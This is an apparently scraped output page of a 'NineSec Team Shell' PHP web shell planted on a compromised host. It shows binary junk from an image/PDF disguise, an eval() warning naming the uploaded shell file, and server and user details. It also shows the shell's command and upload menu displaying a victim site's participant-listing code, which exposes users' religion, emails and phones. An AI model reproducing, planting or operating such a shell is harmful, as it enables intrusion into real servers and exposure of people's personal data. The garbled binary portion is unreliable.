JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../participants.php
<?php 
include 'includes/header.php';
require_once 'config/database.php';

// Search functionality
$search = '';
$religion_filter = '';
$country_filter = '';

if (isset($_GET['search'])) {
    $search = trim($_GET['search']);
}
if (isset($_GET['religion'])) {
    $religion_filter = trim($_GET['religion']);
}
if (isset($_GET['country'])) {
    $country_filter = trim($_GET['country']);
}

// Build query with filters
$query = "SELECT u.id, u.first_name, u.last_name, u.email, u.phone, u.religion, u.country, u.city, u.profile_picture, u.registration_date,
                 up.date_of_birth, up.gender, up.address, up.state, up.postal_code, up.bio
          FROM users u 
          LEFT JOIN user_profiles up ON u.id = up.user_id 
          WHERE 1=1";
$params = [];

if (!empty($search)) {
    $query .= " AND (u.first_name LIKE ? OR u.last_name LIKE ? OR u.email LIKE ? OR u.country LIKE ? OR u.city LIKE ?)";
    $search_term = "%$search%";
    $params[] = $search_term;
    $params[] = $search_term;
    $params[] = $search_term;
    $params[] = $search_term;
    $params[] = $search_term;
}

if (!empty($religion_filter)) {
    $query .= " AND u.religion = ?";
    $params[] = $religion_filter;
}

if (!empty($country_filter)) {
    $query .= " AND u.country LIKE ?";
    $params[] = "%$country_filter%";
}

$query .= " ORDER BY u.registration_date DESC";

// Get total counts for statistics
$count_query = "SELECT religion, COUNT(*) as count FROM users GROUP BY religion";
$count_stmt = $pdo->prepare($count_query);
$count_stmt->execute();
$religion_counts = $count_stmt->fetchAll(PDO::FETCH_ASSOC);

$christian_count = 0;
$muslim_count = 0;
$other_count = 0;

foreach ($religion_counts as $count) {
    if ($count['religion'] == 'Christian') {
        $christian_count = $count['count'];
    } elseif ($count['religion'] == 'Muslim') {
        $muslim_count = $count['count'];
    } else {
        $other_count += $count['count'];
    }
}

$total_participants = $christian_count + $muslim_count + $other_count;

// Execute main query
$stmt = $pdo->prepare($query);
$stmt->execute($params);
$participants = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<section class="section">
    <div class="container">
        <h2 class="section-title">Our Participants</h2>
        
        <!-- Statistics Cards -->
        <div style="display: flex; flex-wrap: wrap; gap: 20px; justify-content: center; margin-bottom: 30px;">
            <div class="card" style="flex: 1; min-width: 200px; text-align: center; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white;">
                <h3>Total Participants</h3>
                <div style="font-size: 2.5rem; font-weight: bold;"><?php echo $total_participants; ?></div>
                <p>Registered So Far</p>
            </div>
            
            <div class="card" style="flex: 1; min-width: 200px; text-align: center; background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%); color: white;">
                <h3>Christians</h3>
                <div style="font-size: 2.5rem; font-weight: bold;"><?php echo $christian_count; ?></div>
                <p>Registered</p>
            </div>
            
            <div class="card" style="flex: 1; min-width: 200px; text-align: center; background: linear-gradient(135deg, #2196F3 0%, #1976D2 100%); color: white;">
                <h3>Muslims</h3>
                <div style="font-size: 2.5rem; font-weight: bold;"><?php echo $muslim_count; ?></div>
                <p>Registered</p>
            </div>
            
            <div class="card" style="flex: 1; min-width: 200px; text-align: center; background: linear-gradient(135deg, #FF9800 0%, #F57C00 100%); color: white;">
                <h3>Others</h3>
                <div style="font-size: 2.5rem; font-weight: bold;"><?php echo $other_count; ?></div>
                <p>Registered</p>
            </div>
        </div>

        <!-- Search and Filter Form -->
        <div class="card" style="margin-bottom: 30px;">
            <h3 style="margin-bottom: 20px;">Search Participants</h3>
            <form method="GET" action="" style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px;">
                <div>
                    <label for="search">Search by Name/Email/Location</label>
                    <input type="text" id="search" name="search" value="<?php echo htmlspecialchars($search); ?>" 
                           placeholder="Enter name, email, or location">
                </div>
                
                <div>
                    <label for="religion">Filter by Religion</label>
                    <select id="religion" name="religion">
                        <option value="">All Religions</option>
                        <option value="Christian" <?php echo $religion_filter == 'Christian' ? 'selected' : ''; ?>>Christian</option>
                        <option value="Muslim" <?php echo $religion_filter == 'Muslim' ? 'selected' : ''; ?>>Muslim</option>
                        <option value="Other" <?php echo $religion_filter == 'Other' ? 'selected' : ''; ?>>Other</option>
                    </select>
                </div>
                
                <div>
                    <label for="country">Filter by Country</label>
                    <input type="text" id="country" name="country" value="<?php echo htmlspecialchars($country_filter); ?>" 
                           placeholder="Enter country name">
                </div>
                
                <div style="display: flex; align-items: end; gap: 10px;">
                    <button type="submit" class="btn btn-primary" style="flex: 1;">Search</button>
                    <a href="participants.php" class="btn btn-secondary">Reset</a>
                </div>
            </form>
        </div>

        <!-- Participants Grid -->
        <div class="card">
            <div style="display: flex; justify-content: between; align-items: center; margin-bottom: 20px;">
                <h3>Participants List</h3>
                <span style="color: #666;">Showing <?php echo count($participants); ?> participants</span>
            </div>

            <?php if (count($participants) > 0): ?>
                <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 20px;">
                    <?php foreach ($participants as $participant): ?>
                        <div class="participant-card" style="border: 1px solid #e0e0e0; border-radius: 10px; padding: 20px; text-align: center; position: relative;">
                            <!-- Profile Picture -->
                            <a href="profile.php?id=<?php echo $participant['id']; ?>" style="text-decoration: none;">
                                <div style="width: 100px; height: 100px; border-radius: 50%; overflow: hidden; margin: 0 auto 15px; border: 3px solid #667eea; cursor: pointer;">
                                    <?php if (!empty($participant['profile_picture']) && file_exists($participant['profile_picture'])): ?>
                                        <img src="<?php echo $participant['profile_picture']; ?>" 
                                             alt="<?php echo htmlspecialchars($participant['first_name'] . ' ' . $participant['last_name']); ?>"
                                             style="width: 100%; height: 100%; object-fit: cover;">
                                    <?php else: ?>
                                        <div style="width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
                                                    display: flex; align-items: center; justify-content: center; color: white; font-size: 2rem;">
                                            <?php echo strtoupper(substr($participant['first_name'], 0, 1) . substr($participant['last_name'], 0, 1)); ?>
                                        </div>
                                    <?php endif; ?>
                                </div>
                            </a>

                            <!-- Participant Details -->
                            <h4 style="margin-bottom: 5px; color: #333;">
                                <a href="profile.php?id=<?php echo $participant['id']; ?>" style="text-decoration: none; color: inherit;">
                                    <?php echo htmlspecialchars($participant['first_name'] . ' ' . $participant['last_name']); ?>
                                </a>
                            </h4>
                            
                            <div style="color: #666; margin-bottom: 10px;">
                                <span class="religion-badge" style="background: <?php 
                                    echo $participant['religion'] == 'Christian' ? '#4CAF50' : 
                                         ($participant['religion'] == 'Muslim' ? '#2196F3' : '#FF9800'); 
                                ?>; color: white; padding: 2px 8px; border-radius: 12px; font-size: 0.8rem;">
                                    <?php echo htmlspecialchars($participant['religion']); ?>
                                </span>
                            </div>

                            <div style="font-size: 0.9rem; color: #666; margin-bottom: 5px;">
                                <i class="fas fa-map-marker-alt"></i> 
                                <?php 
                                $location = $participant['country'];
                                if (!empty($participant['city'])) {
                                    $location = $participant['city'] . ', ' . $location;
                                }
                                echo htmlspecialchars($location);
                                ?>
                            </div>

                            <?php if (!empty($participant['email'])): ?>
                                <div style="font-size: 0.9rem; color: #666; margin-bottom: 5px;">
                                    <i class="fas fa-envelope"></i> 
                                    <a href="mailto:<?php echo htmlspecialchars($participant['email']); ?>" style="color: #667eea;">
                                        <?php echo htmlspecialchars($participant['email']); ?>
                                    </a>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($participant['phone'])): ?>
                                <div style="font-size: 0.9rem; color: #666; margin-bottom: 5px;">
                                    <i class="fas fa-phone"></i> 
                                    <a href="tel:<?php echo htmlspecialchars($participant['phone']); ?>" style="color: #667eea;">
                                        <?php echo htmlspecialchars($participant['phone']); ?>
                                    </a>
                                </div>
                            <?php endif; ?>

                            <div style="font-size: 0.8rem; color: #999; margin-top: 10px;">
                                Joined: <?php echo date('M j, Y', strtotime($participant['registration_date'])); ?>
                            </div>

                            <a href="volunteer.php?id=<?php echo $participant['id']; ?>" class="btn btn-outline" style="margin-top: 15px; display: inline-block;">
                                View Full Profile
                            </a>
                        </div>
                    <?php endforeach; ?>
                </div>
            <?php else: ?>
                <div style="text-align: center; padding: 40px; color: #666;">
                    <i class="fas fa-users" style="font-size: 3rem; margin-bottom: 15px; display: block; color: #ccc;"></i>
                    <h4>No participants found</h4>
                    <p>Try adjusting your search criteria or <a href="register.php">register as a participant</a>.</p>
                </div>
            <?php endif; ?>
        </div>

        <!-- Progress towards goal -->
        <div class="card" style="margin-top: 30px; text-align: center;">
            <h3>Progress Towards Our Goal</h3>
            <p>Goal: 14,000 Participants (7,000 Christians + 7,000 Muslims)</p>
            
            <div style="background: #f0f0f0; border-radius: 10px; height: 20px; margin: 20px 0; overflow: hidden;">
                <div style="background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%); height: 100%; width: <?php echo min(100, ($christian_count / 7000) * 100); ?>%; 
                    display: inline-block; border-right: 2px solid white;" title="Christians: <?php echo $christian_count; ?>/7,000"></div>
                <div style="background: linear-gradient(135deg, #2196F3 0%, #1976D2 100%); height: 100%; width: <?php echo min(100, ($muslim_count / 7000) * 100); ?>%; 
                    display: inline-block;" title="Muslims: <?php echo $muslim_count; ?>/7,000"></div>
            </div>
            
            <div style="display: flex; justify-content: space-around; flex-wrap: wrap; gap: 15px; margin-top: 15px;">
                <div>
                    <strong>Christians:</strong> <?php echo $christian_count; ?>/7,000 
                    (<?php echo round(($christian_count / 7000) * 100, 1); ?>%)
                </div>
                <div>
                    <strong>Muslims:</strong> <?php echo $muslim_count; ?>/7,000 
                    (<?php echo round(($muslim_count / 7000) * 100, 1); ?>%)
                </div>
                <div>
                    <strong>Total:</strong> <?php echo $total_participants; ?>/14,000 
                    (<?php echo round(($total_participants / 14000) * 100, 1); ?>%)
                </div>
            </div>
            
            <a href="register.php" class="btn btn-primary" style="margin-top: 20px;">Join Now & Be Part of History!</a>
        </div>
    </div>
</section>

<style>
.participant-card {
    transition: transform 0.3s ease, box-shadow 0.3s ease;
}

.participant-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 5px 15px rgba(0,0,0,0.1);
}

.card {
    background: white;
    padding: 25px;
    border-radius: 10px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}

input, select {
    width: 100%;
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
    font-size: 14px;
}

label {
    display: block;
    margin-bottom: 5px;
    font-weight: 600;
    color: #333;
}

.btn {
    padding: 10px 20px;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    text-decoration: none;
    display: inline-block;
    font-size: 14px;
    transition: all 0.3s ease;
}

.btn-primary {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
}

.btn-secondary {
    background: #6c757d;
    color: white;
}

.btn-outline {
    background: transparent;
    border: 1px solid #667eea;
    color: #667eea;
}

.btn-outline:hover {
    background: #667eea;
    color: white;
}

.section-title {
    text-align: center;
    margin-bottom: 30px;
    color: #333;
}

.contact-info {
    display: flex;
    align-items: center;
    gap: 10px;
    margin-bottom: 8px;
}

.contact-info i {
    width: 20px;
    color: #667eea;
}
</style>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022